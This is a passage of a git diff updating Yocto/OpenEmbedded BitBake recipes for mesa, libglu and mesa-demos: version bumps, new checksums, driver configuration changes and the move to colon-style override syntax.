- file://src/libtess/tess.c;endline=29;md5=6b79c570f644363b356456e7d44471d9"
-
-# Epoch as this used to be part of mesa
-PE = "2"
-PR = "0"
-
-SRC_URI = "https://mesa.freedesktop.org/archive/glu/glu-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "5599a0e0a97335e10239d9165aced60d"
-SRC_URI[sha256sum] = "f6f484cfcd51e489afe88031afdea1e173aa652697e4c19ddbcb8260579a10f7"
-
-S = "${WORKDIR}/glu-${PV}"
-
-DEPENDS = "virtual/libgl"
-
-inherit autotools pkgconfig distro_features_check
-
-# Requires libGL.so which is provided by mesa when x11 in DISTRO_FEATURES
-REQUIRED_DISTRO_FEATURES = "x11 opengl"
-
-# Remove the mesa-glu dependency in mesa-glu-dev, as mesa-glu is empty
-RDEPENDS_${PN}-dev = ""
diff --git a/meta/recipes-graphics/mesa/libglu_9.0.2.bb b/meta/recipes-graphics/mesa/libglu_9.0.2.bb
new file mode 100644
index 0000000000..64fa82e5a8
--- /dev/null
+++ b/meta/recipes-graphics/mesa/libglu_9.0.2.bb
@@ -0,0 +1,28 @@
+SUMMARY = "The OpenGL utility toolkit"
+DESCRIPTION = "GLU is a utility toolkit used with OpenGL implementations"
+
+HOMEPAGE = "http://mesa3d.org"
+BUGTRACKER = "https://bugs.freedesktop.org"
+SECTION = "x11"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://include/GL/glu.h;endline=29;md5=6b79c570f644363b356456e7d44471d9 \
+ file://src/libtess/tess.c;endline=29;md5=6b79c570f644363b356456e7d44471d9"
+
+# Epoch as this used to be part of mesa
+PE = "2"
+
+SRC_URI = "https://mesa.freedesktop.org/archive/glu/glu-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "24effdfb952453cc00e275e1c82ca9787506aba0282145fff054498e60e19a65"
+
+S = "${WORKDIR}/glu-${PV}"
+
+DEPENDS = "virtual/libgl"
+
+inherit autotools pkgconfig features_check
+
+# Requires libGL.so which is provided by mesa when x11 in DISTRO_FEATURES
+REQUIRED_DISTRO_FEATURES = "x11 opengl"
+
+# Remove the mesa-glu dependency in mesa-glu-dev, as mesa-glu is empty
+RDEPENDS:${PN}-dev = ""
diff --git a/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch b/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch
index f6b59a11fe..e31827d4a3 100644
--- a/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch
+++ b/meta/recipes-graphics/mesa/mesa-demos/0003-configure-Allow-to-disable-demos-which-require-GLEW-.patch
@@ -6,7 +6,12 @@ Subject: [PATCH] configure: Allow to disable demos which require GLEW or GLU
* in some systems without X11 support we don't have GLEW, but
mesa-demos are still useful
-Upstream-Status: Pending
+This isn't currently appropriate for upstream submission as glew has
+been replaced with glad there; glu situation would need to be re-assesed
+when upstream makes a new release, requested here:
+https://gitlab.freedesktop.org/mesa/demos/-/issues/22
+
+Upstream-Status: Inappropriate [see above]
Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
diff --git a/meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch b/meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch
deleted file mode 100644
index e7be4dfbe1..0000000000
--- a/meta/recipes-graphics/mesa/mesa-demos/0013-only-build-GLX-demos-if-needed.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 322af294390a7f4e1524c5a79312be6cbebce988 Mon Sep 17 00:00:00 2001
-From: Awais Belal <awais_belal@mentor.com>
-Date: Wed, 11 Nov 2015 17:22:12 +0500
-Subject: [PATCH] only build GLX demos if needed
-
-There are platforms that default to EGL only configurations
-in which case the GLX applications are not required
-at all. Allow the user to control generation of these
-demos as needed through a configure switch.
-
-Signed-off-by: Awais Belal <awais_belal@mentor.com>
-Upstream-Status: Pending
----
- configure.ac | 9 +++++++++
- src/Makefile.am | 6 +++++-
- 2 files changed, 14 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index f8ec7e3..1a4d96d 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -132,6 +132,11 @@ if test "x$enable_glu" = xyes; then
- DEMO_LIBS="$DEMO_LIBS $GLU_LIBS"
- fi
-
-+AC_ARG_ENABLE([glx-demos],
-+ [AS_HELP_STRING([--enable-glx-demos],
-+ [enable GLX demos @<:@default=auto@:>@])],
-+ [glx_demos_enabled="$enableval"],
-+ [glx_demos_enabled=yes])
- AC_ARG_ENABLE([egl],
- [AS_HELP_STRING([--enable-egl],
- [enable EGL library @<:@default=auto@:>@])],
-@@ -325,6 +333,7 @@ AC_SUBST([WAYLAND_LIBS])
-
- AM_CONDITIONAL(HAVE_GLU, test "x$glu_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLEW, test "x$glew_enabled" = "xyes")
-+AM_CONDITIONAL(HAVE_GLX, test "x$glx_demos_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_EGL, test "x$egl_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLESV1, test "x$glesv1_enabled" = "xyes")
- AM_CONDITIONAL(HAVE_GLESV2, test "x$glesv2_enabled" = "xyes")
-diff --git a/src/Makefile.am b/src/Makefile.am
-index 8b89dee..a4d7e8f 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -44,8 +44,12 @@ SUBDIRS = \
- slang \
- tests \
- tools \
-- wgl \
-+ wgl
-+
-+if HAVE_GLX
-+SUBDIRS += \
- xdemos
-+endif
-
- if HAVE_GLEW
- SUBDIRS += \
---
-1.9.1
-
diff --git a/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb b/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb
index 129a47df48..01e5b35d0e 100644
--- a/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb
+++ b/meta/recipes-graphics/mesa/mesa-demos_8.4.0.bb
@@ -17,17 +17,16 @@ SRC_URI = "https://mesa.freedesktop.org/archive/demos/${BPN}-${PV}.tar.bz2 \
file://0008-glsl-perf-Add-few-missing-.glsl-.vert-.frag-files-to.patch \
file://0009-glsl-perf-Install-.glsl-.vert-.frag-files.patch \
file://0012-mesa-demos-OpenVG-demos-with-single-frame-need-eglSw.patch \
- file://0013-only-build-GLX-demos-if-needed.patch \
"
SRC_URI[md5sum] = "6b65a02622765522176d00f553086fa3"
SRC_URI[sha256sum] = "01e99c94a0184e63e796728af89bfac559795fb2a0d6f506fa900455ca5fff7d"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
# depends on virtual/egl, virtual/libgl ...
REQUIRED_DISTRO_FEATURES = "opengl x11"
PACKAGECONFIG ?= "drm osmesa freetype2 gbm egl gles1 gles2 \
- x11 glew glu glx"
+ x11 glew glu"
# The Wayland code doesn't work with Wayland 1.0, so disable it for now
#${@bb.utils.filter('DISTRO_FEATURES', 'wayland', d)}"
@@ -47,9 +46,8 @@ PACKAGECONFIG[wayland] = "--enable-wayland,--disable-wayland,virtual/libgl wayla
PACKAGECONFIG[x11] = "--enable-x11,--disable-x11,virtual/libx11"
PACKAGECONFIG[glew] = "--enable-glew,--disable-glew,glew"
PACKAGECONFIG[glu] = "--enable-glu,--disable-glu,virtual/libgl"
-PACKAGECONFIG[glx] = "--enable-glx-demos,--disable-glx-demos"
-do_install_append() {
+do_install:append() {
# it can be completely empty when all PACKAGECONFIG options are disabled
rmdir --ignore-fail-on-non-empty ${D}${bindir}
diff --git a/meta/recipes-graphics/mesa/mesa-gl_19.1.6.bb b/meta/recipes-graphics/mesa/mesa-gl_19.1.6.bb
deleted file mode 100644
index d4b1c1c454..0000000000
--- a/meta/recipes-graphics/mesa/mesa-gl_19.1.6.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require mesa_${PV}.bb
-
-SUMMARY += " (OpenGL only, no EGL/GLES)"
-
-PROVIDES = "virtual/libgl virtual/mesa"
-
-S = "${WORKDIR}/mesa-${PV}"
-
-PACKAGECONFIG ??= "opengl dri ${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
-PACKAGECONFIG_class-target = "opengl dri ${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}"
diff --git a/meta/recipes-graphics/mesa/mesa-gl_22.0.0.bb b/meta/recipes-graphics/mesa/mesa-gl_22.0.0.bb
new file mode 100644
index 0000000000..f2bc8f6b5b
--- /dev/null
+++ b/meta/recipes-graphics/mesa/mesa-gl_22.0.0.bb
@@ -0,0 +1,13 @@
+require mesa.inc
+
+SUMMARY += " (OpenGL only, no EGL/GLES)"
+
+PROVIDES = "virtual/libgl virtual/mesa"
+
+S = "${WORKDIR}/mesa-${PV}"
+
+# At least one DRI rendering engine is required to build mesa.
+# When no X11 is available, use osmesa for the rendering engine.
+PACKAGECONFIG ??= "opengl ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'osmesa gallium', d)}"
+PACKAGECONFIG:class-target = "opengl ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', 'osmesa gallium', d)}"
+
diff --git a/meta/recipes-graphics/mesa/mesa.inc b/meta/recipes-graphics/mesa/mesa.inc
index 9e5808ee27..116a9ed861 100644
--- a/meta/recipes-graphics/mesa/mesa.inc
+++ b/meta/recipes-graphics/mesa/mesa.inc
@@ -10,34 +10,47 @@ HOMEPAGE = "http://mesa3d.org"
BUGTRACKER = "https://bugs.freedesktop.org"
SECTION = "x11"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://docs/license.html;md5=725f991a1cc322aa7a0cd3a2016621c4"
+LIC_FILES_CHKSUM = "file://docs/license.rst;md5=9a383ee9f65a4e939d6630e9b067ff58"
PE = "2"
+SRC_URI = "https://mesa.freedesktop.org/archive/mesa-${PV}.tar.xz \
+ file://0001-meson.build-check-for-all-linux-host_os-combinations.patch \
+ file://0002-meson.build-make-TLS-ELF-optional.patch \
+ file://0001-meson-misdetects-64bit-atomics-on-mips-clang.patch \
+ file://0001-futex.h-Define-__NR_futex-if-it-does-not-exist.patch \
+ file://0001-util-format-Check-for-NEON-before-using-it.patch \
+ "
+
+SRC_URI[sha256sum] = "e6c41928b5b9917485bd67cec22d15e62cad7a358bf4c711a647979987601250"
+
+UPSTREAM_CHECK_GITTAGREGEX = "mesa-(?P<pver>\d+(\.\d+)+)"
+
+#because we cannot rely on the fact that all apps will use pkgconfig,
+#make eglplatform.h independent of MESA_EGL_NO_X11_HEADER
+do_install:append() {
+ if ${@bb.utils.contains('PACKAGECONFIG', 'egl', 'true', 'false', d)}; then
+ sed -i -e 's/^#elif defined(__unix__) && defined(EGL_NO_X11)$/#elif defined(__unix__) \&\& defined(EGL_NO_X11) || ${@bb.utils.contains('PACKAGECONFIG', 'x11', '0', '1', d)}/' ${D}${includedir}/EGL/eglplatform.h
+ fi
+}
+
DEPENDS = "expat makedepend-native flex-native bison-native libxml2-native zlib chrpath-replacement-native python3-mako-native gettext-native"
EXTRANATIVEPATH += "chrpath-native"
PROVIDES = " \
${@bb.utils.contains('PACKAGECONFIG', 'opengl', 'virtual/libgl', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'gles', 'virtual/libgles1 virtual/libgles2', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'gles', 'virtual/libgles1 virtual/libgles2 virtual/libgles3', '', d)} \
${@bb.utils.contains('PACKAGECONFIG', 'egl', 'virtual/egl', '', d)} \
${@bb.utils.contains('PACKAGECONFIG', 'gbm', 'virtual/libgbm', '', d)} \
virtual/mesa \
"
-inherit meson pkgconfig python3native gettext distro_features_check
-
-# Unset these to stop python trying to report the target Python setup
-_PYTHON_SYSCONFIGDATA_NAME[unexport] = "1"
-STAGING_INCDIR[unexport] = "1"
-STAGING_LIBDIR[unexport] = "1"
+inherit meson pkgconfig python3native gettext features_check
BBCLASSEXTEND = "native nativesdk"
-ANY_OF_DISTRO_FEATURES_class-target = "opengl vulkan"
+ANY_OF_DISTRO_FEATURES:class-target = "opengl vulkan"
-PLATFORMS ??= "${@bb.utils.filter('PACKAGECONFIG', 'x11 wayland', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'gbm', 'drm', '', d)} \
- surfaceless"
+PLATFORMS ??= "${@bb.utils.filter('PACKAGECONFIG', 'x11 wayland', d)}"
export YOCTO_ALTERNATE_EXE_PATH = "${STAGING_LIBDIR}/llvm${MESA_LLVM_RELEASE}/llvm-config"
export YOCTO_ALTERNATE_MULTILIB_NAME = "${base_libdir}"
@@ -46,57 +59,68 @@ export WANT_LLVM_RELEASE = "${MESA_LLVM_RELEASE}"
MESA_LLVM_RELEASE ?= "${LLVMVERSION}"
+# set the MESA_BUILD_TYPE to either 'release' (default) or 'debug'
+# by default the upstream mesa sources build a debug release
+# here we assume the user will want a release build by default
+MESA_BUILD_TYPE ?= "release"
+def check_buildtype(d):
+ _buildtype = d.getVar('MESA_BUILD_TYPE')
+ if _buildtype not in ['release', 'debug']:
+ bb.fatal("unknown build type (%s), please set MESA_BUILD_TYPE to either 'release' or 'debug'" % _buildtype)
+ if _buildtype == 'debug':
+ return 'debugoptimized'
+ return 'plain'
+MESON_BUILDTYPE = "${@check_buildtype(d)}"
+
EXTRA_OEMESON = " \
- -Dshared-glapi=true \
+ -Dshared-glapi=enabled \
-Dgallium-opencl=disabled \
-Dglx-read-only-text=true \
-Dplatforms='${@",".join("${PLATFORMS}".split())}' \
"
-PACKAGECONFIG_class-target ??= "${@bb.utils.filter('DISTRO_FEATURES', 'wayland vulkan', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'opengl egl gles gbm dri gallium', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'x11 dri3', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 vulkan', 'dri3', '', d)} \
- glx-tls \
- "
-PACKAGECONFIG_class-native ?= "gbm dri egl opengl glx-tls"
-PACKAGECONFIG_class-nativesdk ?= "gbm dri egl opengl glx-tls"
+def strip_comma(s):
+ return s.strip(',')
-PACKAGECONFIG_remove_libc-musl = "glx-tls"
+PACKAGECONFIG = " \
+ gallium \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'x11 vulkan wayland', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'opengl egl gles gbm virgl', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'dri3', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 vulkan', 'dri3', '', d)} \
+ ${@bb.utils.contains('TCLIBC', 'glibc', 'elf-tls', '', d)} \
+"
-# "gbm" requires "dri", "opengl"
-PACKAGECONFIG[gbm] = "-Dgbm=true,-Dgbm=false"
+# "gbm" requires "opengl"
+PACKAGECONFIG[gbm] = "-Dgbm=enabled,-Dgbm=disabled"
X11_DEPS = "xorgproto virtual/libx11 libxext libxxf86vm libxdamage libxfixes xrandr"
# "x11" requires "opengl"
PACKAGECONFIG[x11] = ",-Dglx=disabled,${X11_DEPS}"
-PACKAGECONFIG[glx-tls] = "-Dglx-tls=true, -Dglx-tls=false"
-PACKAGECONFIG[xvmc] = "-Dgallium-xvmc=true,-Dgallium-xvmc=false,libxvmc"
+PACKAGECONFIG[elf-tls] = "-Delf-tls=true, -Delf-tls=false"
+PACKAGECONFIG[xvmc] = "-Dgallium-xvmc=enabled,-Dgallium-xvmc=disabled,libxvmc"
PACKAGECONFIG[wayland] = ",,wayland-native wayland libdrm wayland-protocols"
-DRIDRIVERS_class-native = "swrast"
-DRIDRIVERS_class-nativesdk = "swrast"
-DRIDRIVERS_append_x86_class-target = ",r100,r200,nouveau,i965,i915"
-DRIDRIVERS_append_x86-64_class-target = ",r100,r200,nouveau,i965,i915"
-# "dri" requires "opengl"
-PACKAGECONFIG[dri] = "-Ddri=true -Ddri-drivers=${DRIDRIVERS}, -Ddri=false -Ddri-drivers='', xorgproto libdrm"
-PACKAGECONFIG[dri3] = "-Ddri3=true, -Ddri3=false, xorgproto libxshmfence"
+PACKAGECONFIG[dri3] = "-Ddri3=enabled, -Ddri3=disabled, xorgproto libxshmfence"
# Vulkan drivers need dri3 enabled
-# radeon could be enabled as well but requires gallium-llvm with llvm >= 3.9
+# amd could be enabled as well but requires gallium-llvm with llvm >= 3.9
VULKAN_DRIVERS = ""
-VULKAN_DRIVERS_append_x86_class-target = ",intel"
-VULKAN_DRIVERS_append_x86-64_class-target = ",intel"
-PACKAGECONFIG[vulkan] = "-Dvulkan-drivers=${VULKAN_DRIVERS}, -Dvulkan-drivers='',"
+VULKAN_DRIVERS:append:x86:class-target = ",intel"
+VULKAN_DRIVERS:append:x86-64:class-target = ",intel"
+VULKAN_DRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
+VULKAN_DRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'broadcom', ',broadcom', '', d)}"
+PACKAGECONFIG[vulkan] = "-Dvulkan-drivers=${@strip_comma('${VULKAN_DRIVERS}')}, -Dvulkan-drivers='',"
PACKAGECONFIG[opengl] = "-Dopengl=true, -Dopengl=false"
# "gles" requires "opengl"
-PACKAGECONFIG[gles] = "-Dgles1=true -Dgles2=true, -Dgles1=false -Dgles2=false"
+PACKAGECONFIG[gles] = "-Dgles1=enabled -Dgles2=enabled, -Dgles1=disabled -Dgles2=disabled"
-# "egl" requires "dri", "opengl"
-PACKAGECONFIG[egl] = "-Degl=true, -Degl=false"
+# "egl" requires "opengl"
+PACKAGECONFIG[egl] = "-Degl=enabled, -Degl=disabled"
+PACKAGECONFIG[broadcom] = ""
PACKAGECONFIG[etnaviv] = ""
PACKAGECONFIG[freedreno] = ""
PACKAGECONFIG[kmsro] = ""
@@ -105,54 +129,64 @@ PACKAGECONFIG[v3d] = ""
GALLIUMDRIVERS = "swrast"
# gallium swrast was found to crash Xorg on startup in x32 qemu
-GALLIUMDRIVERS_x86-x32 = ""
+GALLIUMDRIVERS:x86-x32 = ""
+GALLIUMDRIVERS:append:x86:class-target = ",i915,iris,crocus"
+GALLIUMDRIVERS:append:x86-64:class-target = ",i915,iris,crocus"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'etnaviv', ',etnaviv', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'kmsro', ',kmsro', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'vc4', ',vc4', '', d)}"
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'v3d', ',v3d', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'etnaviv', ',etnaviv', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'freedreno', ',freedreno', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'kmsro', ',kmsro', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'vc4', ',vc4', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'v3d', ',v3d', '', d)}"
# radeonsi requires LLVM
-GALLIUMDRIVERS_LLVM33 = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',radeonsi', '', d)}"
-GALLIUMDRIVERS_LLVM33_ENABLED = "${@oe.utils.version_less_or_equal('MESA_LLVM_RELEASE', '3.2', False, len('${GALLIUMDRIVERS_LLVM33}') > 0, d)}"
-GALLIUMDRIVERS_LLVM = "r300,svga,nouveau${@',${GALLIUMDRIVERS_LLVM33}' if ${GALLIUMDRIVERS_LLVM33_ENABLED} else ''}"
+GALLIUMDRIVERS_RADEONSI = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',radeonsi', '', d)}"
+GALLIUMDRIVERS_LLVM = "r300,nouveau${GALLIUMDRIVERS_RADEONSI}"
+GALLIUMDRIVERS_LLVM:append:x86:class-target = ",svga"
+GALLIUMDRIVERS_LLVM:append:x86-64:class-target = ",svga"
PACKAGECONFIG[r600] = ""
+PACKAGECONFIG[virgl] = ""
-GALLIUMDRIVERS_append = "${@bb.utils.contains('PACKAGECONFIG', 'gallium-llvm', ',${GALLIUMDRIVERS_LLVM}', '', d)}"
-GALLIUMDRIVERS_append = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',r600', '', d)}"
-GALLIUMDRIVERS_append = ",virgl"
+GALLIUMDRIVERS:append = "${@bb.utils.contains('PACKAGECONFIG', 'gallium-llvm', ',${GALLIUMDRIVERS_LLVM}', '', d)}"
+GALLIUMDRIVERS:append = "${@bb.utils.contains('PACKAGECONFIG', 'r600', ',r600', '', d)}"
+GALLIUMDRIVERS:append = "${@bb.utils.contains('PACKAGECONFIG', 'virgl', ',virgl', '', d)}"
-PACKAGECONFIG[gallium] = "-Dgallium-drivers=${GALLIUMDRIVERS}, -Dgallium-drivers=''"
-PACKAGECONFIG[gallium-llvm] = "-Dllvm=true -Dshared-llvm=true, -Dllvm=false, llvm${MESA_LLVM_RELEASE} llvm-native \
- ${@'elfutils' if ${GALLIUMDRIVERS_LLVM33_ENABLED} else ''}"
-PACKAGECONFIG[xa] = "-Dgallium-xa=true, -Dgallium-xa=false"
+PACKAGECONFIG[gallium] = "-Dgallium-drivers=${@strip_comma('${GALLIUMDRIVERS}')}, -Dgallium-drivers='', libdrm"
+PACKAGECONFIG[gallium-llvm] = "-Dllvm=enabled -Dshared-llvm=enabled, -Dllvm=disabled, llvm${MESA_LLVM_RELEASE} llvm-native \
+ elfutils"
+PACKAGECONFIG[xa] = "-Dgallium-xa=enabled, -Dgallium-xa=disabled"
+PACKAGECONFIG[va] = "-Dgallium-va=enabled,-Dgallium-va=disabled,libva-initial"
+
+PACKAGECONFIG[vdpau] = "-Dgallium-vdpau=enabled,-Dgallium-vdpau=disabled,libvdpau"
PACKAGECONFIG[lima] = ""
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'lima', ',lima', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'lima', ',lima', '', d)}"
PACKAGECONFIG[panfrost] = ""
-GALLIUMDRIVERS_append ="${@bb.utils.contains('PACKAGECONFIG', 'panfrost', ',panfrost', '', d)}"
+GALLIUMDRIVERS:append ="${@bb.utils.contains('PACKAGECONFIG', 'panfrost', ',panfrost', '', d)}"
-OSMESA = "${@bb.utils.contains('PACKAGECONFIG', 'gallium', 'gallium', 'classic', d)}"
-PACKAGECONFIG[osmesa] = "-Dosmesa=${OSMESA},-Dosmesa=none"
+PACKAGECONFIG[osmesa] = "-Dosmesa=true,-Dosmesa=false"
-PACKAGECONFIG[unwind] = "-Dlibunwind=true,-Dlibunwind=false,libunwind"
+PACKAGECONFIG[unwind] = "-Dlibunwind=enabled,-Dlibunwind=disabled,libunwind"
-# mesa tries to run cross-built gen_matypes on build machine to get struct size information
-EXTRA_OEMESON_append = " -Dasm=false"
+PACKAGECONFIG[lmsensors] = "-Dlmsensors=enabled,-Dlmsensors=disabled,lmsensors"
# llvmpipe is slow if compiled with -fomit-frame-pointer (e.g. -O2)
-FULL_OPTIMIZATION_append = " -fno-omit-frame-pointer"
+FULL_OPTIMIZATION:append = " -fno-omit-frame-pointer"
-CFLAGS_append_armv5 = " -DMISSING_64BIT_ATOMICS"
+CFLAGS:append:armv5 = " -DMISSING_64BIT_ATOMICS"
+CFLAGS:append:armv6 = " -DMISSING_64BIT_ATOMICS"
# Remove the mesa dependency on mesa-dev, as mesa is empty
-RDEPENDS_${PN}-dev = ""
+RDEPENDS:${PN}-dev = ""
-# Add dependency so that GLES3 header don't need to be added manually
-RDEPENDS_libgles2-mesa-dev += "libgles3-mesa-dev"
+# Khronos documentation says that include/GLES2/gl2ext.h can be used for
+# OpenGL ES 3 specification as well as for OpenGL ES 2.
+# There can be applications including GLES2/gl2ext.h instead of GLES3/gl3ext.h
+# meaning we should probably bring in GLES2/gl2ext.h if someone asks for
+# development package of libgles3.
+RDEPENDS:libgles3-mesa-dev += "libgles2-mesa-dev"
PACKAGES =+ "libegl-mesa libegl-mesa-dev \
libosmesa libosmesa-dev \
@@ -164,9 +198,10 @@ PACKAGES =+ "libegl-mesa libegl-mesa-dev \
libgles3-mesa libgles3-mesa-dev \
libxatracker libxatracker-dev \
mesa-megadriver mesa-vulkan-drivers \
+ mesa-vdpau-drivers \
"
-do_install_append () {
+do_install:append () {
# Drivers never need libtool .la files
rm -f ${D}${libdir}/dri/*.la
rm -f ${D}${libdir}/egl/*.la
@@ -186,84 +221,91 @@ do_install_append () {
# RPROVIDEs/RCONFLICTs on the generic libgl name.
python __anonymous() {
pkgconfig = (d.getVar('PACKAGECONFIG') or "").split()
+ suffix = ""
+ if "-native" in d.getVar("PN"):
+ suffix = "-native"
for p in (("egl", "libegl", "libegl1"),
- ("dri", "libgl", "libgl1"),
+ ("opengl", "libgl", "libgl1"),
("gles", "libgles1", "libglesv1-cm1"),
("gles", "libgles2", "libglesv2-2"),
("gles", "libgles3",)):
if not p[0] in pkgconfig:
continue
- fullp = p[1] + "-mesa"
- pkgs = " ".join(p[1:])
- d.setVar("DEBIAN_NOAUTONAME_" + fullp, "1")
- d.appendVar("RREPLACES_" + fullp, pkgs)
- d.appendVar("RPROVIDES_" + fullp, pkgs)
- d.appendVar("RCONFLICTS_" + fullp, pkgs)
+ mlprefix = d.getVar("MLPREFIX")
+ fullp = mlprefix + p[1] + "-mesa" + suffix
+ mlprefix = d.getVar("MLPREFIX")
+ pkgs = " " + " ".join(mlprefix + x + suffix for x in p[1:])
+ d.setVar("DEBIAN_NOAUTONAME:" + fullp, "1")
+ d.appendVar("RREPLACES:" + fullp, pkgs)
+ d.appendVar("RPROVIDES:" + fullp, pkgs)
+ d.appendVar("RCONFLICTS:" + fullp, pkgs)
- d.appendVar("RRECOMMENDS_" + fullp, " mesa-megadriver")
+ d.appendVar("RRECOMMENDS:" + fullp, " ${MLPREFIX}mesa-megadriver" + suffix)
# For -dev, the first element is both the Debian and original name
- fullp += "-dev"
- pkgs = p[1] + "-dev"
- d.setVar("DEBIAN_NOAUTONAME_" + fullp, "1")
- d.appendVar("RREPLACES_" + fullp, pkgs)
- d.appendVar("RPROVIDES_" + fullp, pkgs)
- d.appendVar("RCONFLICTS_" + fullp, pkgs)
+ fullp = mlprefix + p[1] + "-mesa-dev" + suffix
+ pkgs = " " + mlprefix + p[1] + "-dev" + suffix
+ d.setVar("DEBIAN_NOAUTONAME:" + fullp, "1")
+ d.appendVar("RREPLACES:" + fullp, pkgs)
+ d.appendVar("RPROVIDES:" + fullp, pkgs)
+ d.appendVar("RCONFLICTS:" + fullp, pkgs)
}
python mesa_populate_packages() {
pkgs = ['mesa', 'mesa-dev', 'mesa-dbg']
for pkg in pkgs:
- d.setVar("RPROVIDES_%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
- d.setVar("RCONFLICTS_%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
- d.setVar("RREPLACES_%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
+ d.setVar("RPROVIDES:%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
+ d.setVar("RCONFLICTS:%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
+ d.setVar("RREPLACES:%s" % pkg, pkg.replace("mesa", "mesa-dri", 1))
import re
dri_drivers_root = oe.path.join(d.getVar('PKGD'), d.getVar('libdir'), "dri")
if os.path.isdir(dri_drivers_root):
- dri_pkgs = os.listdir(dri_drivers_root)
+ dri_pkgs = sorted(os.listdir(dri_drivers_root))
lib_name = d.expand("${MLPREFIX}mesa-megadriver")
for p in dri_pkgs:
m = re.match(r'^(.*)_dri\.so$', p)
if m:
pkg_name = " ${MLPREFIX}mesa-driver-%s" % legitimize_package_name(m.group(1))
- d.appendVar("RPROVIDES_%s" % lib_name, pkg_name)
- d.appendVar("RCONFLICTS_%s" % lib_name, pkg_name)
- d.appendVar("RREPLACES_%s" % lib_name, pkg_name)
+ d.appendVar("RPROVIDES:%s" % lib_name, pkg_name)
+ d.appendVar("RCONFLICTS:%s" % lib_name, pkg_name)
+ d.appendVar("RREPLACES:%s" % lib_name, pkg_name)
pipe_drivers_root = os.path.join(d.getVar('libdir'), "gallium-pipe")
do_split_packages(d, pipe_drivers_root, r'^pipe_(.*)\.so$', 'mesa-driver-pipe-%s', 'Mesa %s pipe driver', extra_depends='')
}
-PACKAGESPLITFUNCS_prepend = "mesa_populate_packages "
+PACKAGESPLITFUNCS:prepend = "mesa_populate_packages "
PACKAGES_DYNAMIC += "^mesa-driver-.*"
-
-FILES_mesa-megadriver = "${libdir}/dri/* ${datadir}/drirc.d/00-mesa-defaults.conf"
-FILES_mesa-vulkan-drivers = "${libdir}/libvulkan_*.so ${datadir}/vulkan"
-FILES_libegl-mesa = "${libdir}/libEGL.so.*"
-FILES_libgbm = "${libdir}/libgbm.so.*"
-FILES_libgles1-mesa = "${libdir}/libGLESv1*.so.*"
-FILES_libgles2-mesa = "${libdir}/libGLESv2.so.*"
-FILES_libgl-mesa = "${libdir}/libGL.so.*"
-FILES_libglapi = "${libdir}/libglapi.so.*"
-FILES_libosmesa = "${libdir}/libOSMesa.so.*"
-FILES_libxatracker = "${libdir}/libxatracker.so.*"
-
-FILES_${PN}-dev = "${libdir}/pkgconfig/dri.pc ${includedir}/vulkan"
